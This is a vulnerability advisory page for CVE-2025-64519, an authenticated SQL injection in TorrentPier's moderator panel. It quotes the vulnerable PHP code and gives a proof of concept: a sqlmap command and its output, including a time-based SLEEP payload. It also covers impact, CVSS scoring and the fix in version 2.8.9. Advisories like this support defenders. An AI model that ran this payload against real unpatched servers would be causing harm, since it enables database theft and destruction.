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CVE-2025-64519 — Vulnerability in torrentpier/torrentpier — CVE...

HIGH

TorrentPier is Vulnerable to Authenticated SQL Injection through Moderator Control Panel's topic_id parameter

Published November 10, 2025Updated May 13, 2026Source: osv

Summary

### Summary An authenticated SQL injection vulnerability exists in the moderator control panel (`modcp.php`). Users with moderator permissions can exploit this vulnerability by supplying a malicious `topic_id` (`t`) parameter. This allows an authenticated moderator to execute arbitrary SQL queries, leading to the potential disclosure, modification, or deletion of any data in the database. ### Details The vulnerability is triggered when `modcp.php` processes a request that includes a `topic_id` (`t` parameter). The value of `$topic_id` is taken directly from user input and is not sanitized or parameterized before being concatenated into an SQL query. This occurs within the initial data retrieval block for a given topic ID. **Vulnerable Code Block in `modcp.php` (lines 111-122):** ```php if ($topic_id) { $sql = " SELECT f.forum_id, f.forum_name, f.forum_topics, f.self_moderated, t.topic_first_post_id, t.topic_poster FROM " . BB_TOPICS . " t, " . BB_FORUMS . " f WHERE t.topic_id = $topic_id AND f.forum_id = t.forum_id LIMIT 1 "; if (!$topic_row = DB()->fetch_row($sql)) { bb_die($lang['INVALID_TOPIC_ID_DB']); } // ... } ``` In the `WHERE t.topic_id = $topic_id` clause, the `$topic_id` variable is directly embedded into the query string. An attacker can inject SQL syntax (e.g., boolean logic, time-based functions) into the `t` parameter to manipulate the query's execution. ### PoC This is a time-based blind SQL injection vulnerability that requires moderator privileges. **Prerequisites:** 1. A running instance of TorrentPier. 2. An account with moderator permissions. **Steps to Reproduce:** 1. Log in as a moderator. 2. Obtain your full session cookie string from your browser's developer tools. 3. Use `sqlmap` to automate the exploitation. The tool will test the `t` parameter for vulnerabilities. **`sqlmap` Command:** *(Note: Replace `https://localhost` with the target URL and `"your_full_cookie_string"` with the actual cookie data from your browser session, e.g., `"key1=value1; key2=value2"`)*. ```bash sqlmap -u "https://localhost/modcp.php?mode=lock&t=1" -p t --cookie "your_full_cookie_string" --dbms mysql --technique T --current-db ``` **`sqlmap` Output Confirmation:** The following output from `sqlmap` confirms successful exploitation: ``` --- Parameter: t (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: mode=lock&t=1 AND (SELECT 9461 FROM (SELECT(SLEEP(5)))KxhM) --- [INFO] the back-end DBMS is MySQL [INFO] fetching current database [INFO] retrieved: torrentpier current database: 'torrentpier' ``` ### Impact This is an authenticated SQL Injection vulnerability. Although it requires moderator privileges, it is still severe. A malicious or compromised moderator account can leverage this vulnerability to: * **Read sensitive data:** Extract any information from the database, including user credentials (password hashes), private messages, email addresses, and other private data. * **Modify data:** Alter records in the database, such as elevating their own or other users' privileges to administrator level. * **Delete data:** Corrupt or destroy forum data by dropping tables or deleting records.

Advisory Timeline

  • First published November 10, 2025 (336 days ago).
  • Last revised May 13, 2026 — 184 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update torrentpier/torrentpier to 2.8.9 or later
composer require "torrentpier/torrentpier:^2.8.9"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
torrentpier/torrentpier
packagist
2.3.0.4-beta, 2.3.0.4-beta2, v2.2.0, v2.2.1 (+54 more)2.8.9

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2025-64519?
TorrentPier is Vulnerable to Authenticated SQL Injection through Moderator Control Panel's topic_id parameter This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2025-64519?
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Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-4rwr-8c3m-55f6

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